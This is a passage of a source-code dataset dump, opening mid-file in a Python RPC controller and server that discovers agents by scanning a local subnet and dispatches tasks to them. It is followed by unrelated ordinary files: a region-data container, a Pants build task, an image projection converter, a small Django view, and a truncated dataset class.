procedures\n\t\t\treload(procedures)\n\t\texcept Exception as e:\n\t\t\t# @TODO update redis status\n\t\t\terror_print(str(e))\n\t\t\tresult_message = {\"task_id\": task_id, \"task_result\": None, \"task_status\": \"execution_error\"}\n\t\t\tARPCP.call(addr[0], ADDR_CONF[1], \"result\", result_message)\n\t\t\tlog_print(extent=20, message=\"handle_task finished with error\")\n\t\t\treturn\n\n\t\t# execute procedure\n\t\tlog_print(extent=20,message=f\"procedure {remote_procedure} started..\")\n\t\t# @TODO update redis status\n\t\ttry:\n\t\t\tremote_procedure_result = getattr(procedures, remote_procedure)(*remote_procedure_args)\n\t\texcept Exception as e:\n\t\t\t# @TODO update redis status\n\t\t\terror_print(str(e))\n\t\t\tresult_message = {\"task_id\": task_id, \"task_result\": None, \"task_status\": \"execution_error\"}\n\t\t\tARPCP.call(addr[0], ADDR_CONF[1], \"result\", result_message)\n\t\t\tlog_print(extent=20, message=\"handle_task finished with error\")\n\t\t\treturn\n\t\tlog_print(extent=20, message=\"procedure finished\")\n\t\t# @TODO update redis status\n\n\t\t# send result\n\t\tresult_message = {\"task_id\": task_id, \"task_result\": remote_procedure_result, \"task_status\": \"done\"}\n\t\tARPCP.call(addr[0], ADDR_CONF[1], \"result\", result_message)\n\n\t\tlog_print(extent=20, message=\"handle_atask finished\")\n\n# ==============================================================================\n\n# class RemoteNode:\n# \tdef __init__(self, remote_host=\"0.0.0.0\", remote_port=7018):\n# \t\tlog_print(extent=10, message=\"initializing RemoteNode..\")\n\n# \t\tself.remote_host = remote_host\n# \t\tself.remote_port = remote_port\n# \t\tself.procedures = self.__procedures(self)\n\n# \t\tlog_print(extent=10, message=\"RemoteNode initialized\")\n\n\n# \tdef call(self, method, headers = {}, additions = {}):\n# \t\tlog_print(extent=10, message=\"RemoteNode.call method started..\")\n# \t\tlog_print(extent=10, message=f\"calling {method} request\")\n\n# \t\tresponse = ARPCP.call(self.remote_host, self.remote_port, method, headers, additions)\n# \t\tlog_print(extent=10,message=\"RemoteNode.call method finished\")\n\n# \t\tif response[\"code\"] is 100:\n# \t\t\treturn response[\"data\"]\n# \t\telse:\n# \t\t\traise ARPCPException(response[\"code\"], response[\"description\"])\n\n\n# \tclass __procedures:\n\n# \t\tdef __init__(self, node):\n# \t\t\tlog_print(extent=20, message=\"downloading remote procedures..\")\n# \t\t\tself.node = node \n# \t\t\tself.available_procedures = node.call(\"procedures\")\n# \t\t\tlog_print(extent=20, message=\"remote procedures downloaded\")\n# \t\t\tlog_print(extent=20, message=\"adding remote procedures to local class..\")\n\n# \t\t\tfor procedure in self.available_procedures:\n# \t\t\t\t# add sync procedure to .procedures\n# \t\t\t\tsync_procedure = (lambda __self, *__args, __remote_procedure=procedure, **__kwargs:\n# \t\t\t\t\tself.node.call(\n# \t\t\t\t\t\t\"task\",\n# \t\t\t\t\t\t{\n# \t\t\t\t\t\t\t\"remote_procedure\": __remote_procedure,\n# \t\t\t\t\t\t\t\"remote_procedure_args\": __args,\n# \t\t\t\t\t\t\t# \"remote_procedure_kwargs\": __kwargs\n# \t\t\t\t\t\t},\n# \t\t\t\t\t\tadditions = __kwargs[\"additions\"] if \"additions\" in __kwargs.keys() else {},\n# \t\t\t\t\t))\n# \t\t\t\tsetattr(self, procedure, types.MethodType( sync_procedure, self ) )\n\n# \t\t\t\t# add async procedure to .procedures\n# \t\t\t\tasync_procedure = (lambda __self, *__args, __remote_procedure=procedure, **__kwargs:\n# \t\t\t\t\tself.node.call(\n# \t\t\t\t\t\t\"atask\",\n# \t\t\t\t\t\t{\n# \t\t\t\t\t\t\t\"remote_procedure\": __remote_procedure,\n# \t\t\t\t\t\t\t\"remote_procedure_args\": __args,\n# \t\t\t\t\t\t\t# \"remote_procedure_kwargs\": __kwargs,\n# \t\t\t\t\t\t},\n# \t\t\t\t\t\tadditions = __kwargs[\"additions\"] if \"additions\" in __kwargs.keys() else {},\n# \t\t\t\t\t))\n\n# \t\t\t\tsetattr(self, \"async_\" + procedure, types.MethodType( async_procedure, self ) )\n\n# \t\t\t\tlog_print(extent=20, message=f\"remote procedure '{procedure}' added\")\n\n\n# \t\tdef __repr__(self):\n# \t\t\treturn str(self.available_procedures)\n\n# ==============================================================================\n\nclass Controller:\n\t\"\"\"\ntask_id:\n__\n\nfor example\n_ff:ff:ff:ff:ff:ff_e3c478ac-1613-40a9-a5b3-004a6d7229cf\n\t\"\"\"\n\n\t@staticmethod\n\tdef _preset():\n\t\tARPCP.redis().flushall()\n\n\t@staticmethod\n\tdef survey_agents(agents):\n\t\t_redis = ARPCP.redis()\n\t\tactive_agents = []\n\t\tinactive_agents = []\n\t\tfor agent in agents:\n\t\t\tif _redis.exists(f\"ARPCP:agent:{agent}:ip\"):\n\t\t\t\tip = _redis.get(f\"ARPCP:agent:{agent}:ip\")\n\t\t\t\tres = ARPCP.call(ip, CONFIG['server']['port'], 'id')\n\t\t\t\tif res['code'] == 100:\n\t\t\t\t\tactive_agents.append(agent)\n\t\t\t\telse:\n\t\t\t\t\tinactive_agents.append(agent)\n\t\t\telse:\n\t\t\t\tinactive_agents.append(agent)\n\t\treturn active_agents, inactive_agents\n\n\t@staticmethod\n\tdef get_ips_by_macs(macs):\n\t\t_redis = ARPCP.redis()\n\t\tips = []\n\t\tfor mac in macs:\n\t\t\tif _redis.exists(f\"ARPCP:agent:{mac}:ip\"):\n\t\t\t\tips.append(_redis.get(f\"ARPCP:agent:{mac}:ip\"))\n\t\treturn ips\n\n\t@staticmethod\n\tdef scan_network():\n\t\tfrom libnmap.process import NmapProcess\n\t\tfrom libnmap.parser import NmapParser\n\n\t\tnm = NmapProcess(\"192.168.1.1/24\", options = f\"-sT -p {CONFIG['server']['port']}\")\n\t\tnm.run()\n\t\tnmap_report = NmapParser.parse(nm.stdout)\n\t\treturn [scanned_host._main_address for scanned_host in nmap_report.hosts if scanned_host._status['state'] == 'up']\n\n\t\t# ips = []\n\t\t# for scanned_host in nmap_report.hosts:\n\t\t# \tif scanned_host._status['state'] == 'up':\n\t\t# \t\tres = ARPCP.call(scanned_host._main_address, CONFIG['server']['port'], 'id')\n\t\t# \t\tif res['code'] == 100:\n\t\t# \t\t\tips.append(scanned_host._main_address)\n\t\t# return ips\n\n\t@staticmethod\n\tdef detect_agents(ips):\n\t\tagents = {}\n\t\t_blacklist = Controller.blacklist()\n\t\tfor ip in ips:\n\t\t\tres = ARPCP.call(ip, CONFIG['server']['port'], 'id')\n\t\t\tif (res['code'] == 100) and (not res['data']['agent_mac'] in _blacklist):\n\t\t\t\tagents[res['data']['agent_mac']] = ip\n\t\treturn agents\n\n\t@staticmethod\n\tdef reset_disable_counter(agents):\n\t\t_redis = ARPCP.redis()\n\t\tfor agent in agents:\n\t\t\tif _redis.exists(f\"ARPCP:agent:{agent}:disable_counter\"):\n\t\t\t\t_redis.set(f\"ARPCP:agent:{agent}:disable_counter\", json.dumps(0))\n\n\t@staticmethod\n\tdef check_for_deletion(agents):\n\t\t_redis = ARPCP.redis()\n\t\tremaining_agents = []\n\t\tagents_for_deletion = []\n\t\tfor agent in agents:\n\t\t\tif _redis.exists(f\"ARPCP:agent:{agent}:disable_counter\"):\n\t\t\t\tdc = json.loads(_redis.get(f\"ARPCP:agent:{agent}:disable_counter\"))\n\t\t\t\tif dc >= CONFIG[\"controller\"][\"max_dc\"]:\n\t\t\t\t\tagents_for_deletion.append(agent)\n\t\t\t\telse:\n\t\t\t\t\tremaining_agents.append(agent)\n\t\t\t\t\t_redis.set(f\"ARPCP:agent:{agent}:disable_counter\", json.dumps(dc + 1))\n\t\t\telse:\n\t\t\t\tagents_for_deletion.append(agent)\n\t\tController.delete_agents(agents_for_deletion)\n\t\treturn remaining_agents\n\n\t@staticmethod\n\tdef delete_agents(agents):\n\t\t_redis = ARPCP.redis()\n\t\tfor agent in agents:\n\t\t\tif _redis.exists(f\"ARPCP:agent:{agent}:ip\"):\n\t\t\t\t_redis.delete(f\"ARPCP:agent:{agent}:ip\")\n\t\t\tif _redis.exists(f\"ARPCP:agent:{agent}:disable_counter\"):\n\t\t\t\t_redis.delete(f\"ARPCP:agent:{agent}:disable_counter\")\n\n\t@staticmethod\n\tdef register_agents(agents):\n\t\t_redis = ARPCP.redis()\n\t\tfor agent, ip in agents.items():\n\t\t\t_redis.set(f\"ARPCP:agent:{agent}:ip\", ip)\n\t\t\t_redis.set(f\"ARPCP:agent:{agent}:disable_counter\", json.dumps(0))\n\n\t@staticmethod\n\tdef echo():\n\t\t_redis = ARPCP.redis()\n\n\t\t# ----------------------------------------------------------------------\n\n\t\t# get agents (MACs) from redis\n\t\ta = set(Controller.agents())\n\n\t\t# get blacklist (MACs)\n\t\tb = set(Controller.blacklist())\n\n\t\t# ----------------------------------------------------------------------\n\n\t\tactive_agents, inactive_agents = Controller.survey_agents(list(a.difference(b)))\n\n\t\t# ----------------------------------------------------------------------\n\n\t\texcluded_ips = Controller.get_ips_by_macs(list(a.union(b)))\n\t\tei = set(excluded_ips)\n\n\t\tavailable_ips = Controller.scan_network()\n\t\tai = set(available_ips)\n\n\t\tdetected_agents_object = Controller.detect_agents(ai.difference(ei))\n\n\t\t# ----------------------------------------------------------------------\n\n\t\t# Postprocessing\n\t\tController.reset_disable_counter(active_agents)\n\t\tController.register_agents(detected_agents_object)\n\n\t\tremoval_candidates = list(set(inactive_agents).union(b))\n\t\tremaining_agents_after_checking = Controller.check_for_deletion(removal_candidates)\n\n\t\t# ----------------------------------------------------------------------\n\n\t\t# compile result\n\t\tnew_agents = active_agents + list(detected_agents_object.keys()) + remaining_agents_after_checking\n\t\t# na = set(active_agents).union(set(detected_agents_object.keys()))\n\t\t# na.union(set(remaining_agents_after_checking))\n\t\t# new_agents = list(na)\n\t\t_redis.set(\"ARPCP:agents\", json.dumps(new_agents))\n\n\t\treturn new_agents\n\n\t@staticmethod\n\tdef add_to_blacklist(agent):\n\t\t_redis = ARPCP.redis()\n\t\tif _redis.exists(\"ARPCP:agents:blacklist\"):\n\t\t\tblacklist = json.loads(_redis.get(\"ARPCP:agents:blacklist\"))\n\t\t\tif not agent in blacklist:\n\t\t\t\tblacklist.append(agent)\n\t\t\t\t_redis.set(\"ARPCP:agents:blacklist\", json.dumps(blacklist))\n\t\telse:\n\t\t\t_redis.set(\"ARPCP:agents:blacklist\", json.dumps([agent]))\n\n\t@staticmethod\n\tdef remove_from_blacklist(agent):\n\t\t_redis = ARPCP.redis()\n\t\tif _redis.exists(\"ARPCP:agents:blacklist\"):\n\t\t\tblacklist = json.loads(_redis.get(\"ARPCP:agents:blacklist\"))\n\t\t\tif agent in blacklist:\n\t\t\t\tblacklist.remove(agent)\n\t\t\t\t_redis.set(\"ARPCP:agents:blacklist\", json.dumps(blacklist))\n\n\t@staticmethod\n\tdef agents():\n\t\t_redis = ARPCP.redis()\n\t\tif _redis.exists(\"ARPCP:agents\"):\n\t\t\treturn json.loads(_redis.get(\"ARPCP:agents\"))\n\t\telse:\n\t\t\treturn []\n\n\t@staticmethod\n\tdef agent_info(agent):\n\t\t_redis = ARPCP.redis()\n\t\tif agent in Controller.agents():\n\t\t\t_agent_info = {}\n\t\t\t_agent_info[\"mac\"] = agent\n\t\t\t_agent_info[\"ip\"] = None\n\t\t\tif _redis.exists(f\"ARPCP:agent:{agent}:ip\"):\n\t\t\t\t_agent_info[\"ip\"] = _redis.get(f\"ARPCP:agent:{agent}:ip\")\n\n\t\t\t_agent_info[\"disable_counter\"] = CONFIG[\"controller\"][\"max_dc\"]\n\t\t\tif _redis.exists(f\"ARPCP:agent:{agent}:disable_counter\"):\n\t\t\t\t_agent_info[\"disable_counter\"] = json.loads(_redis.get(f\"ARPCP:agent:{agent}:disable_counter\"))\n\n\t\t\ttasks = []\n\t\t\tif _redis.exists(\"ARPCP:tasks:assign\"):\n\t\t\t\ttasks = json.loads(_redis.get(\"ARPCP:tasks:assign\"))\n\t\t\tagent_tasks = [task for task in tasks if task.startswith(f\"_{agent}_\")]\n\t\t\t_agent_info[\"tasks\"] = agent_tasks\n\t\t\treturn _agent_info\n\t\treturn None\n\n\t@staticmethod\n\tdef agents_info():\n\t\t_agents_info = []\n\t\t_redis = ARPCP.redis()\n\t\tfor agent in Controller.agents():\n\t\t\t_agent_info = Controller.agent_info(agent)\n\t\t\tdel _agent_info[\"tasks\"]\n\t\t\t_agents_info.append(_agent_info)\n\t\treturn _agents_info\n\n\t@staticmethod\n\tdef blacklist():\n\t\t_redis = ARPCP.redis()\n\t\tif _redis.exists(\"ARPCP:agents:blacklist\"):\n\t\t\treturn json.loads(_redis.get(\"ARPCP:agents:blacklist\"))\n\t\telse:\n\t\t\treturn []\n\n\t@staticmethod\n\tdef procedures():\n\t\ttry:\n\t\t\timport procedures\n\t\t\treturn list(filter(lambda x: not x.startswith(\"_\"), dir(procedures)))\n\t\texcept:\n\t\t\treturn []\n\n\t@staticmethod\n\tdef callbacks():\n\t\ttry:\n\t\t\timport callbacks\n\t\t\treturn list(filter(lambda x: not x.startswith(\"_\"), dir(callbacks)))\n\t\texcept:\n\t\t\treturn []\n\n\t@staticmethod\n\tdef generate_task_id(agent):\n\t\treturn f\"_{agent}_{uuid.uuid4()}\"\n\n\t@staticmethod\n\tdef delete_task(task):\n\t\t_redis = ARPCP.redis()\n\t\tARPCP.erase_task_from_redis(_redis, task)\n\n\t@staticmethod\n\tdef delete_all_tasks():\n\t\t_redis = ARPCP.redis()\n\t\t_tasks = Controller.tasks()\n\t\tfor _task in _tasks:\n\t\t\tARPCP.erase_task_from_redis(_redis, _task)\n\n\t@staticmethod\n\tdef tasks():\n\t\t_redis = ARPCP.redis()\n\t\tif _redis.exists(\"ARPCP:tasks:assign\"):\n\t\t\treturn json.loads(_redis.get(\"ARPCP:tasks:assign\"))\n\t\telse:\n\t\t\treturn []\n\n\t@staticmethod\n\tdef task_info(task):\n\t\t_redis = ARPCP.redis()\n\t\tif task in Controller.tasks():\n\t\t\t_task_info = {}\n\t\t\t_task_info[\"task_id\"] = task\n\t\t\t_task_info[\"agent\"] = task.split(\"_\")[1]\n\t\t\t_task_info[\"status\"] = None\n\t\t\tif _redis.exists(f\"ARPCP:task:{task}:status\"):\n\t\t\t\t_task_info[\"status\"] = _redis.get(f\"ARPCP:task:{task}:status\")\n\n\t\t\t_task_info[\"procedure\"] = None\n\t\t\t_task_info[\"args\"] = None\n\t\t\tif _redis.exists(f\"ARPCP:task:{task}:message\"):\n\t\t\t\t_message = json.loads(_redis.get(f\"ARPCP:task:{task}:message\"))\n\t\t\t\t_task_info[\"procedure\"] = _message[\"remote_procedure\"]\n\t\t\t\t_task_info[\"args\"] = _message[\"remote_procedure_args\"]\n\n\t\t\t_task_info[\"callback\"] = None\n\t\t\tif _redis.exists(f\"ARPCP:task:{task}:callback\"):\n\t\t\t\t_task_info[\"callback\"] = _redis.get(f\"ARPCP:task:{task}:callback\")\n\n\t\t\t_task_info[\"result\"] = None\n\t\t\tif _redis.exists(f\"ARPCP:task:{task}:result\"):\n\t\t\t\t_task_info[\"result\"] = json.loads(_redis.get(f\"ARPCP:task:{task}:result\"))\n\t\t\treturn _task_info\n\t\treturn None\n\n\t@staticmethod\n\tdef tasks_info():\n\t\t_tasks_info = []\n\t\tfor task in Controller.tasks():\n\t\t\t_tasks_info.append(Controller.task_info(task))\n\t\treturn _tasks_info\n\n\t@staticmethod\n\tdef status_statistics():\n\t\tstatus_statistics = {\n\t\t\t\"sent_to_agent\": 0,\n\t\t\t\"done\": 0,\n\t\t\t\"error\": 0\n\t\t}\n\t\t_redis = ARPCP.redis()\n\t\tfor task in Controller.tasks():\n\t\t\t_status = \"\"\n\t\t\tif _redis.exists(f\"ARPCP:task:{task}:status\"):\n\t\t\t\t_status = _redis.get(f\"ARPCP:task:{task}:status\")\n\t\t\t\tif _status == \"sent_to_agent\":\n\t\t\t\t\tstatus_statistics[\"sent_to_agent\"] += 1\n\t\t\t\telif _status == \"done\":\n\t\t\t\t\tstatus_statistics[\"done\"] += 1\n\t\t\t\telif _status.endswith(\"error\"):\n\t\t\t\t\tstatus_statistics[\"error\"] += 1\n\t\t\t\telse:\n\t\t\t\t\tpass\n\n\t\t# status_statistics = {\n\t\t# \t\"sent_to_agent\": 23,\n\t\t# \t\"done\": 4,\n\t\t# \t\"error\": 0\n\t\t# }\n\t\treturn status_statistics\n\n\t@staticmethod\n\tdef rpc(agents, procedure, params, callback=None, async_proc=True):\n\t\t_redis = ARPCP.redis()\n\t\t_responses = []\n\t\tfor agent in agents:\n\t\t\tif json.loads(_redis.get(f\"ARPCP:agent:{agent}:disable_counter\")) == 0:\n\t\t\t\t_ip = _redis.get(f\"ARPCP:agent:{agent}:ip\")\n\t\t\t\t_method = \"atask\"\n\t\t\t\tif not async_proc:\n\t\t\t\t\t_method = \"task\"\n\t\t\t\t_task_id = Controller.generate_task_id(agent)\n\t\t\t\t_additions = {}\n\t\t\t\tif callback:\n\t\t\t\t\t_additions[\"callback\"] = callback\n\t\t\t\tprint(f\"ip: {_ip}\")\n\t\t\t\tprint(f\"method: {_method}\")\n\t\t\t\tprint(f\"task_id: {_task_id}\")\n\t\t\t\tprint(f\"params: {params}\")\n\t\t\t\tprint(f\"additions: {_additions}\")\n\t\t\t\t_response = ARPCP.call(_ip, CONFIG[\"server\"][\"port\"], _method, {\n\t\t\t\t\t\"remote_procedure\": procedure,\n\t\t\t\t\t\"remote_procedure_args\": params,\n\t\t\t\t\t\"task_id\": _task_id\n\t\t\t\t}, _additions)\n\t\t\t\t_responses.append(_response)\n\t\treturn _responses\n\n# ==============================================================================\n\nclass ARPCPServer:\n\tdef __init__(\n\t\tself,\n\t\thost=\"0.0.0.0\",\n\t\tport=7018,\n\t\tconnection_queue_size=20,\n\t\tmax_workers_count=100,\n\t\tthreadname_prefix=\"ARPCP\",\n\t\tmaster_threadname=\"server\",\n\t\tworker_threadname=\"worker\",\n\t):\n\t\tlog_print(extent=10 ,message=\"initializing ARPCP server...\", end = \"\")\n\n\t\tself.host = host\n\t\tself.port = port\n\t\tself.connection_queue_size = connection_queue_size\n\t\tself.max_workers_count = max_workers_count\n\t\tself.threadname_prefix = threadname_prefix\n\t\tself.master_threadname = \\\n\t\t\tself.threadname_prefix + \":\" + \\\n\t\t\tmaster_threadname\n\t\tself.worker_threadname = \\\n\t\t\tself.master_threadname + \":\" + \\\n\t\t\tworker_threadname\n\t\tself.sock = None\n\t\tself.workers = []\n\n\t\tlog_print(extent=10 ,done = True)\n\n\tdef _setproctitle(self, name):\n\t\tif sys.platform in [\"linux\",\"linux2\"]:\n\t\t\timport setproctitle\n\t\t\tsetproctitle.setproctitle(name)\n\n\tdef start(self):\n\t\tself._setproctitle(self.master_threadname)\n\t\tlog_print(extent=10, message=f\"{self.master_threadname} starting\")\n\n\t\tlog_print(extent=10, message=\"socket preparing..\")\n\t\tself.sock = ARPCP.socket(self.host, self.port, self.connection_queue_size)\n\t\tlog_print(extent=10, message=\"socket ready\")\n\n\t\tlog_print(extent=10, message=\"eventloop starting\")\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tconn, addr = ARPCP.accept(self.sock)\n\t\t\t\tlog_print(extent=10, message=str(\"-\"*25 + \" connection accepted \" + \"-\"*25))\n\t\t\t\tworker = th.Thread(target=self.worker, args=(conn, addr,))\n\t\t\t\tworker.daemon = True\n\t\t\t\tworker.start()\n\t\t\texcept (socket.timeout, BlockingIOError):\n\t\t\t\tpass\n\n\n\tdef worker(self, conn, addr):\n\t\tself._setproctitle(self.worker_threadname)\n\t\tlog_print(extent=10,message=f\"{self.worker_threadname} started\")\n\n\t\tARPCP.handle(conn, addr)\n\n\t\tlog_print(extent=10, message=f\"{self.worker_threadname} stopped\")\n\n# ==============================================================================\n\nif __name__ == \"__main__\":\n\ttry:\n\t\tlog_print(extent=10 ,message=\"ARPCPServer starting\")\n\t\tarpcp_server = ARPCPServer(**SERVER_CONFIGS)\n\t\tarpcp_server.start()\n\texcept KeyboardInterrupt as e:\n\t\tlog_print(extent=10 ,message=\"Ctrl^C interrupt handling\")\n","sub_path":"code/arpcp.py","file_name":"arpcp.py","file_ext":"py","file_size_in_byte":48909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"14186725","text":"import pandas as pd\nimport json\nfrom ..convert.utils import validate_path\nfrom .regions2d import Regions2D\n\n\nclass MultiRegions2D():\n \"\"\"Container for many Regions2D objects\n \"\"\"\n def __init__(self, objects):\n \"\"\"Initialize object\n\n Parameters\n ----------\n objects : list\n list of parsed Regions2D objects or paths to EVR files.\n The EVR files will be parsed without point conversion.\n \"\"\"\n if not isinstance(objects, list):\n raise ValueError(\"Input is not a list\")\n\n self._files = None\n\n if all(isinstance(f, str) for f in objects):\n self._files = [Regions2D(f) for f in objects]\n elif all(isinstance(f, Regions2D) for f in objects):\n if all([bool(f.output_data) for f in objects]):\n self._files = objects\n else:\n raise ValueError(\"Not all `Regions2D` objects are parsed\")\n else:\n raise ValueError(\"Input types are not all `str` or `Regions2D` objects.\")\n\n self._output_file = []\n self._output_data = None\n\n def __getitem__(self, key):\n key = str(key)\n if key not in self.files:\n raise KeyError(f\"{key} is not a valid region filename\")\n return self.files[key]\n\n @property\n def files(self):\n return self._files\n\n @files.setter\n def files(self, objects):\n fnames = [r.output_data['metadata']['file_name'] for r in objects]\n self._files = dict(zip(fnames, objects))\n\n @property\n def output_file(self):\n if len(self._output_file) == 1:\n self._output_file = list(set(self._output_file))\n return self._output_file[0]\n else:\n return self._output_file\n\n @property\n def output_data(self):\n if self._output_data is None:\n self._output_data = {\n f.output_data['metadata']['file_name']: f.output_data\n for f in self.files\n }\n return self._output_data\n\n def to_dataframe(self):\n \"\"\"Concatenates the data of all Regions2D files and returns a pandas DataFrame\n \"\"\"\n df = pd.concat([r.to_dataframe() for r in self.files])\n return df\n\n def to_csv(self, save_path=None):\n \"\"\"Save multiple Regions2D objects to a single CSV file.\n\n Parameters\n ----------\n save_path : str\n If save_path is not provided, the file will be saved with the filename of\n the first EVR file at the same location as the EVR file.\n \"\"\"\n save_path = validate_path(save_path=save_path, input_file=self.files[0].input_file, ext='.csv')\n self.to_dataframe().to_csv(save_path, index=False)\n self._output_file.append(save_path)\n\n def to_json(self, save_path=None, pretty=False):\n \"\"\"Save multiple Regions2D objects to a single CSV file.\n\n Parameters\n ----------\n save_path : str\n If save_path is not provided, the file will be saved with the filename of\n the first EVR file at the same location as the EVR file.\n pretty : bool, default False\n Output more human readable JSON.\n \"\"\"\n save_path = validate_path(save_path=save_path, input_file=self.files[0].input_file, ext='.json')\n indent = 4 if pretty else None\n\n # Save the entire parsed EVR dictionary as a JSON file\n with open(save_path, 'w') as f:\n f.write(json.dumps(self.output_data, indent=indent))\n self._output_file.append(save_path)\n","sub_path":"echoregions/formats/multi.py","file_name":"multi.py","file_ext":"py","file_size_in_byte":3571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"223942722","text":"# coding=utf-8\n# Copyright 2016 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom __future__ import (absolute_import, division, generators, nested_scopes, print_function,\n unicode_literals, with_statement)\n\nimport os\n\nfrom pex.interpreter import PythonInterpreter\nfrom pex.pex import PEX\nfrom pex.pex_builder import PEXBuilder\nfrom twitter.common.collections import OrderedSet\n\nfrom pants.backend.python.tasks.pex_build_util import (dump_sources, has_python_sources,\n has_resources, is_python_target)\nfrom pants.invalidation.cache_manager import VersionedTargetSet\nfrom pants.task.task import Task\nfrom pants.util.dirutil import safe_concurrent_creation\n\n\nclass GatherSources(Task):\n \"\"\"Gather local Python sources.\n\n Creates an (unzipped) PEX on disk containing the local Python sources. This PEX can be merged\n with a requirements PEX to create a unified Python environment for running the relevant python\n code.\n \"\"\"\n\n PYTHON_SOURCES = 'python_sources'\n\n @classmethod\n def implementation_version(cls):\n return super(GatherSources, cls).implementation_version() + [('GatherSources', 5)]\n\n @classmethod\n def product_types(cls):\n return [cls.PYTHON_SOURCES]\n\n @classmethod\n def prepare(cls, options, round_manager):\n round_manager.require_data(PythonInterpreter)\n round_manager.require_data('python') # For codegen.\n\n def execute(self):\n interpreter = self.context.products.get_data(PythonInterpreter)\n targets = self._collect_source_targets()\n\n with self.invalidated(targets) as invalidation_check:\n pex = self._get_pex_for_versioned_targets(interpreter, invalidation_check.all_vts)\n self.context.products.register_data(self.PYTHON_SOURCES, pex)\n\n def _collect_source_targets(self):\n python_target_addresses = [p.address for p in self.context.targets(predicate=is_python_target)]\n\n targets = OrderedSet()\n\n def collect_source_targets(target):\n if has_python_sources(target) or has_resources(target):\n targets.add(target)\n\n self.context.build_graph.walk_transitive_dependency_graph(addresses=python_target_addresses,\n work=collect_source_targets)\n\n return targets\n\n def _get_pex_for_versioned_targets(self, interpreter, versioned_targets):\n if versioned_targets:\n target_set_id = VersionedTargetSet.from_versioned_targets(versioned_targets).cache_key.hash\n else:\n # If there are no relevant targets, we still go through the motions of gathering\n # an empty set of sources, to prevent downstream tasks from having to check\n # for this special case.\n target_set_id = 'no_targets'\n source_pex_path = os.path.realpath(os.path.join(self.workdir, target_set_id))\n # Note that we check for the existence of the directory, instead of for invalid_vts,\n # to cover the empty case.\n if not os.path.isdir(source_pex_path):\n # Note that we use the same interpreter for all targets: We know the interpreter\n # is compatible (since it's compatible with all targets in play).\n with safe_concurrent_creation(source_pex_path) as safe_path:\n self._build_pex(interpreter, safe_path, [vt.target for vt in versioned_targets])\n return PEX(source_pex_path, interpreter=interpreter)\n\n def _build_pex(self, interpreter, path, targets):\n builder = PEXBuilder(path=path, interpreter=interpreter, copy=True)\n for target in targets:\n dump_sources(builder, target, self.context.log)\n builder.freeze()\n","sub_path":"src/python/pants/backend/python/tasks/gather_sources.py","file_name":"gather_sources.py","file_ext":"py","file_size_in_byte":3635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"67016363","text":"import sys\nimport argparse\n\nfrom PIL import Image\nfrom projection import *\n\n\ndef get_sample(xy, img_equi_size, face_size, img_faces):\n\tangles = angles_from_img_xy(xy, img_equi_size)\n\tdirection = direction_from_angles(angles)\n\tface, face_xy = face_and_face_xy_from_direction(direction, face_size)\n\tfaces_xy = to_faces_xy(face_xy, face, face_size)\n\tsample = img_faces.getpixel(faces_xy)\n\treturn sample\n\ndef get_multisample(xy, img_equi_size, face_size, img_faces, samples):\n\tr,g,b = 0,0,0\n\tfor sx in range(samples):\n\t\tfor sy in range(samples):\n\t\t\tsample_xy = (float(xy[0]) + float(sx) / float(samples),\n\t\t\t\t\t\t float(xy[1]) + float(sy) / float(samples))\n\t\t\tsample = get_sample(sample_xy, img_equi_size, face_size, img_faces)\n\t\t\tr += sample[0]\n\t\t\tg += sample[1]\n\t\t\tb += sample[2]\n\treturn (r // (samples*samples),\n\t\t\tg // (samples*samples),\n\t\t\tb // (samples*samples))\n\ndef render_equi(img_faces, img_equi, face_size, samples):\n\tfor y in range(img_equi.size[1]):\n\t\tif y % 100 == 0:\n\t\t\tprint(f'{100*y/img_equi.size[1]} percent rendered')\n\t\tfor x in range(img_equi.size[0]):\n\t\t\tmultisample = get_multisample((x,y), img_equi.size, face_size, img_faces, samples)\n\t\t\timg_equi.putpixel((x,y), multisample)\n\ndef cube_to_equi(faces_img_path, equi_img_path, equi_size, samples):\n\tfaces_img = Image.open(faces_img_path)\n\tface_size = (faces_img.size[0]/4, faces_img.size[1]/3)\n\tequi_img = Image.new('RGB', equi_size, 'black')\n\trender_equi(faces_img, equi_img, face_size, samples)\n\tequi_img.save(equi_img_path)\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('image', type=str, help='Input image file (cube map)')\nparser.add_argument('--out', type=str, default='equi.jpg', help='Output file')\nparser.add_argument('--height', type=int, default=1024, help='Height of output image, in pixels')\nparser.add_argument('--samples', type=int, default=1, help='Use NxN samples per output pixel')\n\nargs = parser.parse_args()\n\ncube_to_equi(args.image, args.out, (2*args.height, args.height), args.samples)\nprint('Done')\n","sub_path":"cube2equi.py","file_name":"cube2equi.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"241743092","text":"from django.http import JsonResponse\n\nfrom .models import PizzaShop , Pizza\nfrom pizzashopapp.serializers import PizzaShopSerializer # , PizzaSerializer\n\ndef client_pizzashops_js(request):\n pizzashops = PizzaShopSerializer(\n PizzaShop.objects.all().order_by('-id'),\n many = True,\n context={'request':request}\n ).data\n\n\n return JsonResponse({'pizzashops':pizzashops})\n\ndef client_pizzas(request):\n return JsonResponse({})\n\n\n#def client_pizza(request, pizzashop_id):\n# pizzas = PizzaSerializer(\n# Pizza.objects.all().filter(pizzashop_id=pizzashop_id).order_by('-id'),\n# many = True,\n# context={'request':request}\n# ).data\n#\n#\n# return JsonResponse({'pizzashops':pizzashops})\n","sub_path":"pizzashopapp/apis.py","file_name":"apis.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"380599711","text":"from data.Example import Example\nimport json as js\nimport math\nimport pickle\nimport warnings\n\n\nclass Dataset:\n def __init__(self, args, logger):\n self.examples = []\n self.train_examples = []\n self.dev_examples = []\n self.test_examples = []\n self.args = args\n self.logger = logger\n\n def __split(self, full_list, ratio):\n \"\"\"\n 私有方法,功能是将一个列表按ration切分成两个子列表\n :param full_list:\n :param ratio:\n :return:\n \"\"\"\n n_total = len(full_list)\n offset = int(n_total * ratio)\n if n_total == 0 or offset < 1:\n return [], full_list\n sublist_1 = full_list[:offset]\n sublist_2 = 